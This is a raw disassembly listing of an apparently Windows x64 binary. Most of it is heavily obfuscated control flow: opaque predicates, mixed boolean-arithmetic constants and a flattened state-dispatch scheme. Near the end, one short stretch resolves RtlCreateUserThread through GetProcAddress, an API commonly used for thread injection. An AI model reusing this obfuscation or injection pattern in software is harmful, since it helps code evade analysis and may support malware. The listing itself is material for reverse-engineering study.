or bl, r8b
xor bl, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xd7cc274
mov eax, 0xf87f122c
cmovne ecx, eax
test bl, 1
cmove ecx, eax
not dl
test dl, 1
mov eax, 0xd7cc274
jmp 0x140159a39
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0x10113028
mov ecx, esi
and ecx, 0x436c0041
or ecx, edx
mov edi, ecx
xor edi, 0x2640000
xor ecx, 0xb000d0bc
mov ebp, ebx
or ebp, 0x537d3069
mov edx, ebp
not edx
and ecx, 0xf108d0fd
and edi, 0x2752000
or edi, ecx
and ebp, 0xf108d0fd
and edx, 0xc820f02
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x9c896009
and edx, 0x63769ff6
or edx, ecx
mov ecx, edx
xor ecx, 0x1001859a
and ebx, 0x29cf7ab3
and esi, 0xd630854c
or esi, ebx
mov ebx, esi
xor ebx, 0x14008508
xor edx, 0xcff45061
mov ebp, edx
and ebp, 0xea7a2a64
and ecx, 0x1585d59b
or ecx, ebp
xor esi, 0x284a2a20
and esi, 0xea7a2a64
and ebx, 0x1585d59b
or ebx, esi
xor ebx, ecx
not ebx
or ebx, edx
cmp ebx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, edx
xor bl, al
and dl, bl
and bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
and al, r8b
xor cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
xor dl, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x19fe932
mov eax, 0x9f37ccaa
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x19fe932
jmp 0x14015c0d8
mov ecx, 0xc174c2d5
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x9de3a106
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
or ecx, 0x946733a9
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0x6b98cc56
and edx, ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x11f5d385
and ebp, 0x6a080c52
or ebp, esi
or ecx, edi
and edi, 0x11f5d385
and edx, 0xee0a2c7a
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x946733a8
and ecx, 0x6b98cc57
or ecx, edx
mov edx, ecx
and ecx, ebx
not ebx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, r10b
not al
and al, r10b
mov edx, r9d
or dl, r10b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, r8b
and al, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
and dl, cl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xd72c3e2c
mov ebp, 0x1a469aac
cmovne eax, ebp
test cl, cl
mov ecx, 0xd72c3e2c
cmovne ecx, eax
test dl, dl
jmp 0x14015c0d8
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x484f89e2
mov edx, ecx
and edx, 0xb7b0761d
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x6501ebe8
and edx, 0x9afe1417
or edx, ebx
mov ebx, edx
xor ebx, 0xd2b19df4
and ebp, 0xfd2d88c0
and ecx, 0x2d2773f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2d2773f
xor edx, 0x2d4e620b
and ebp, edx
xor ecx, 0xfd2d88c0
and ecx, ebx
or ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl r8b
mov eax, ecx
xor al, r8b
mov ebx, eax
and bl, cl
and al, r8b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
xor cl, r9b
and r9b, cl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
mov ecx, ebx
xor cl, 1
and cl, r8b
and bl, dl
or bl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x46179ffb
mov edx, 0xceeb2a77
cmovne ecx, edx
test bl, 1
cmove ecx, edx
not al
test al, 1
mov eax, 0x46179ffb
jmp 0x140159a39
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x3031d8a1
mov ebp, edx
and ebp, 0xcfce275e
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0xcfce275f
and ebp, 0x3031d8a0
or ebp, ebx
and edx, 0x21781be9
mov ebx, ecx
and ebx, 0xde87e416
or ebx, edx
xor ebx, 0x21781be8
and ecx, 1
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x5158f9a2
and ecx, 0xaea7065d
or ecx, edx
mov ebx, ecx
xor ebx, 0x2a850048
mov edx, ebp
not edx
xor ecx, 0x5158f9a2
mov edi, edx
and edi, 0xd57a8e97
and ebp, 0x2a857168
or ebp, edi
or edx, ecx
and ecx, 0xd57a8e97
and ebx, 0x2a857168
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, r9d
and dl, al
and r9b, cl
and cl, r8b
or cl, dl
mov r10d, ecx
xor r10b, al
and r10b, cl
and al, r8b
or al, r9b
mov r8d, r10d
xor r8b, 1
mov ecx, eax
xor cl, 1
mov edx, ecx
xor cl, r8b
and r8b, r10b
and dl, al
xor r8b, 1
mov ebx, r10d
xor bl, r8b
or r8b, r10b
xor r8b, 1
or r8b, bl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, r8d
xor bl, 1
and bl, dl
xor dl, 1
and dl, r8b
or dl, bl
or al, r10b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x90f5adbe
mov eax, 0x7b53b26d
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x90f5adbe
jmp 0x14015c0d8
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2c06400d
and eax, 0xd3f9bff2
or eax, ecx
mov edx, eax
xor edx, 0x2c06400d
mov ecx, eax
xor ecx, 0x2c06400c
and ecx, edx
xor eax, 0x26930e2
and eax, 0x226f70eb
and edx, 0xdd908f14
or edx, eax
mov ebp, edx
xor ebp, 0x1d100c15
mov eax, ecx
not eax
xor edx, 0x226f70ea
mov ebx, eax
and ebx, 0xc08b93e0
and ecx, 0x3f746c1f
or ecx, ebx
or eax, edx
and edx, 0xc08b93e0
and ebp, 0x3f746c1f
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe83c7368
and ecx, eax
and eax, 0x17c38c97
or eax, edx
xor eax, 0x17c38c97
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4883c38
and eax, 0xfb77c3c7
or eax, edx
xor eax, 0x4883c38
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x14024b6d4], 9
setg cl
xor al, cl
mov edx, eax
xor dl, 1
or cl, dl
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x6c862382
mov edx, 0xb28abeec
cmovne eax, edx
test cl, cl
jmp 0x14015c0d1
mov edx, dword [0x14024b6d8]
mov edi, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x450005c
mov ebx, ecx
and ebx, 0x40020023
or ebx, ebp
xor ebx, 0x40020023
mov ebp, ecx
and ebp, 0xbbadff80
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0xbbadff81
and ebp, 0x4452007e
or ebp, ebx
and edx, 0xee8ca4eb
and ecx, 0x11735b14
or ecx, edx
mov edx, ecx
xor edx, 0x11735b14
xor ecx, 0xee8ca4eb
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
xor ebp, ecx
test ebp, ecx
sete r8b
setne r9b
cmp edi, 9
setg al
cmp edi, 0xa
setl r11b
mov ebx, eax
mov r10d, r8d
and r10b, al
mov ecx, r11d
and cl, r9b
or al, r9b
or r9b, r11b
xor r9b, 1
or bl, r8b
xor bl, 1
mov edx, r9d
and dl, bl
xor bl, r9b
or bl, dl
or cl, r10b
xor r11b, r8b
xor al, 1
or al, r11b
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x534138cb
mov ebp, 0xf12f2544
cmovne ecx, ebp
test al, 1
mov eax, ecx
mov ebp, 0x534138cb
cmovne eax, ebp
test dl, 1
jmp 0x14015bf2f
mov ecx, 0x41b5a63a
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x1218005
mov ecx, ebx
and ecx, 0x32880810
or ecx, edx
xor ecx, 0x32880810
mov edx, ebx
and edx, 0xcc5677ea
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe938322e
and edx, 0x16c7cdd1
or edx, ecx
mov ebp, edx
xor ebp, 0x256e45c5
xor edx, 0x80813028
and edi, 0xa95c0681
and ebx, 0x56a3f97e
or ebx, edi
mov ecx, ebx
xor ecx, 0x81312c
xor ebx, 0xa95c0681
mov edi, ebp
and edi, 0x7f3acad3
and edx, 0x80c5352c
or edx, edi
or ebp, ebx
and ebx, 0x7f3acad3
and ecx, 0x80c5352c
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
cmp ebp, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
xor bl, 1
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
xor cl, bl
mov eax, ecx
not al
and al, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x3a42af79
mov ebp, 0xebb9061b
cmovne ecx, ebp
test al, al
mov eax, 0x3a42af79
cmove ecx, eax
test dl, 1
cmovne ecx, ebp
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0xd8394be3
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x341df963
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x4579cfa0
and eax, 0xba86305f
or eax, ecx
mov ecx, eax
xor ecx, 0x10061050
xor eax, 0x4500c380
and eax, 0xef80e38f
and ecx, 0x107f1c70
or ecx, eax
mov eax, ecx
xor eax, 0x550030
xor ecx, 0xa680438f
and ecx, 0xb6aa5fcf
and eax, 0x4955a030
or eax, ecx
xor eax, 0x4955a030
setne dl
cmp dword [0x14024b6d4], 0xa
setl bl
mov ecx, ebx
xor cl, dl
mov eax, ebx
xor al, cl
not al
and al, cl
or dl, bl
xor dl, 1
not cl
and cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, eax
xor r8b, 1
mov edx, ecx
xor dl, 1
and al, r8b
mov ebx, edx
and bl, cl
mov r9d, r8d
and r9b, al
xor al, r8b
or al, r9b
mov r9d, edx
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
xor bl, al
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xbb9bc4f1
mov ecx, 0x29252ccf
cmovne eax, ecx
test dl, 1
mov ecx, 0xbb9bc4f1
cmovne ecx, eax
test bl, 1
jmp 0x14015c0d8
mov ecx, 0xd853069c
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, ebx
or edx, 0x65d0ec5c
mov ebp, edx
not ebp
mov ecx, ebx
xor ecx, 0x9a2f13a3
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0xb003f968
and ebp, 0xa2c0283
or ebp, eax
or edx, esi
and esi, 0xb003f968
and ecx, 0x4ffc0697
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xf4c5627
and edx, 0xf0b3a9d8
or edx, eax
mov ebp, edx
xor ebp, 0x6a9cba7a
xor edx, 0x85214000
and edi, 0xc13ca81
and ebx, 0xf3ec357e
or ebx, edi
mov eax, ebx
xor eax, 0xa1242030
xor ebx, 0xc13ca81
mov ecx, ebp
and ecx, 0x5aca9fcf
and edx, 0xa5356030
or edx, ecx
or ebp, ebx
and ebx, 0x5aca9fcf
and eax, 0xa5356030
or eax, ebx
xor eax, edx
not ebp
or ebp, eax
cmp ebp, 0xffffffff
setne r10b
sete r9b
cmp r8d, 9
setg al
cmp r8d, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
mov ebx, edx
xor bl, 1
and bl, r9b
and dl, r10b
or dl, bl
and r10b, cl
or cl, r9b
xor cl, 1
and al, r9b
or al, r10b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov r8d, edx
xor r8b, al
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
xor cl, dl
xor r8b, 1
or bl, dl
xor bl, 1
or bl, r8b
mov eax, ecx
xor al, bl
test bl, 1
mov edx, 0xc52fb47a
mov ebp, 0x107360da
cmovne edx, ebp
test cl, 1
cmovne edx, ebp
not al
test al, 1
mov eax, 0xc52fb47a
jmp 0x1401585a4
mov ecx, 0xdb5fefb
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov edx, dword [0x14024b6d4]
lea eax, [rcx - 1]
imul eax, ecx
mov ebp, eax
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
and ebp, 0x7637cb82
and eax, 0x89c8347d
or eax, ebp
mov ebp, eax
xor ebp, 0x3468
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xb9db8915
and ecx, 0x462476ea
or ecx, edi
xor eax, 0x30138900
and eax, 0xb9db8915
and ebp, 0x462476ea
or ebp, eax
xor ebp, ecx
xor ebx, ebp
test ebx, ebp
sete r8b
setne r9b
cmp edx, 9
setg r11b
cmp edx, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
or dl, bl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
and al, r10b
xor bl, 1
and bl, r11b
or bl, al
mov eax, r10d
xor r10b, r8b
and r8b, r11b
and al, r9b
or al, r8b
or r11b, r9b
xor r11b, 1
or r11b, r10b
xor al, 1
mov ecx, eax
xor cl, r11b
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xe8ddbb41
mov ebp, 0xd853069c
cmovne eax, ebp
test cl, cl
mov ecx, 0xe8ddbb41
cmove eax, ecx
test dl, 1
cmovne eax, ebp
jmp 0x14015bf32
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, eax
and ecx, 0xa75777f9
and eax, 0x58a88806
or eax, ecx
xor eax, 0x58a88807
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3ad051c2
and eax, 0xc52fae3d
or eax, ecx
mov ecx, eax
xor ecx, 0xc105862d
xor eax, 0x38901042
and eax, 0x3cba3852
and ecx, 0xc345c7ad
or ecx, eax
mov eax, ecx
xor eax, 0x34881000
xor ecx, 0x40050788
and ecx, 0x48372fda
and eax, 0xb7c8d025
or eax, ecx
xor eax, 0xb7c8d025
cmp eax, 0xffffffff
setne r8b
sete al
cmp dword [0x14024b6d4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
xor al, bl
or dl, al
mov ecx, edx
xor cl, 1
or r8b, bl
and al, bl
mov ebx, r8d
xor bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
or al, bl
mov ebx, edx
and bl, al
xor al, 1
and cl, al
or cl, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x2625c8dc
mov ebp, 0xb02d6acc
cmovne eax, ebp
test cl, 1
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0x2625c8dc
cmovne eax, ecx
mov ecx, eax
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x91c518c9
mov ebx, edx
not ebx
or ebp, 0x6e3ae736
mov ecx, ebp
not ecx
and edx, 0xab3a8548
and ebx, 0x44006236
or ebx, edx
and ebp, 0xab3a8548
and ecx, 0x10c51881
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xa9b7a1d5
and ecx, 0x56485e2a
or ecx, edx
mov ebp, ecx
xor ebp, 0x3872b91c
xor ecx, 0xc78d46e3
mov ebx, ebp
or ebx, 0xcd5cd8ce
mov edi, ebx
not edi
mov esi, ecx
or esi, 0x32a32731
mov edx, esi
not edx
and ebx, 0xa8c4f99
and edi, 0x30232020
or edi, ebx
and esi, 0xa8c4f99
and edx, 0xc5509046
or edx, esi
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xcd5cd8cf
and edx, 0x32a32730
or edx, ebx
and ebp, 0x980fdd6b
mov ebx, ecx
and ebx, 0x67f02294
or ebx, ebp
xor ebx, 0x980fdd6a
and ecx, 1
or ecx, ebx
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3ee8208
and ecx, 0xfc117df7
or ecx, edx
mov edx, ecx
xor edx, 0x58004c92
xor ecx, 0x28c8200
and ecx, 0xa69db365
and edx, 0x59624c9a
or edx, ecx
xor edx, 0x59624c9a
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov edx, ebx
mov r9d, ecx
and r9b, bl
xor cl, bl
or bl, r8b
xor bl, 1
xor dl, r8b
not dl
and dl, r8b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
and dl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x217297ce
mov edx, 0x1144f26a
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
test bl, bl
cmove ecx, eax
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov eax, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, edx
and edi, 0x92ada380
and ebp, 0x6d525c7f
or ebp, edi
or edx, ebx
and ebx, 0x92ada380
and eax, 0x6d525c7f
or eax, ebx
xor eax, ebp
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg r10b
cmp ecx, 0xa
setl cl
mov edx, eax
or dl, cl
mov r9d, ecx
and r9b, al
xor al, cl
not al
and al, cl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
and r10b, r8b
or r10b, r9b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov r10d, ecx
xor r10b, 1
mov ebx, eax
xor bl, 1
and bl, al
mov r8d, r10d
and r8b, cl
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
mov edx, r8d
xor dl, 1
xor r8b, r10b
or dl, cl
xor dl, 1
or dl, r8b
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, r10d
xor al, dl
test r10b, 1
mov ecx, 0xc6152e77
mov ebp, 0x2ab43ea3
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0xc6152e77
jmp 0x140159a39
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xb6e0a1f4
mov ebx, ecx
and ebx, 0x491f5e0a
or ebx, edx
xor ebx, 0x491f5e0a
mov edx, ecx
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x4cd29ad3
and edx, 0xb32d652c
or edx, ebx
xor edx, 0xb32d652c
and ebp, 0x22f39dca
and ecx, 0xdd0c6235
or ecx, ebp
xor ecx, 0xdd0c6235
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl r11b
mov ecx, r11d
xor cl, r10b
and cl, r11b
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, 1
or al, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ebx, r9d
xor bl, al
mov ecx, ebx
and cl, r9b
and bl, al
xor cl, 1
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
and r9b, r10b
and r11b, r8b
or r11b, r9b
mov eax, r10d
xor al, r8b
or r10b, r8b
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, r10b
xor r11b, 1
or r11b, al
xor bl, 1
mov eax, ebx
or al, r11b
xor bl, r11b
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xcabf1041
mov ecx, 0x7ee10686
cmovne edx, ecx
test bl, 1
mov ecx, edx
mov ebp, 0xcabf1041
cmovne ecx, ebp
test al, 1
cmovne ecx, edx
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14019f730
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret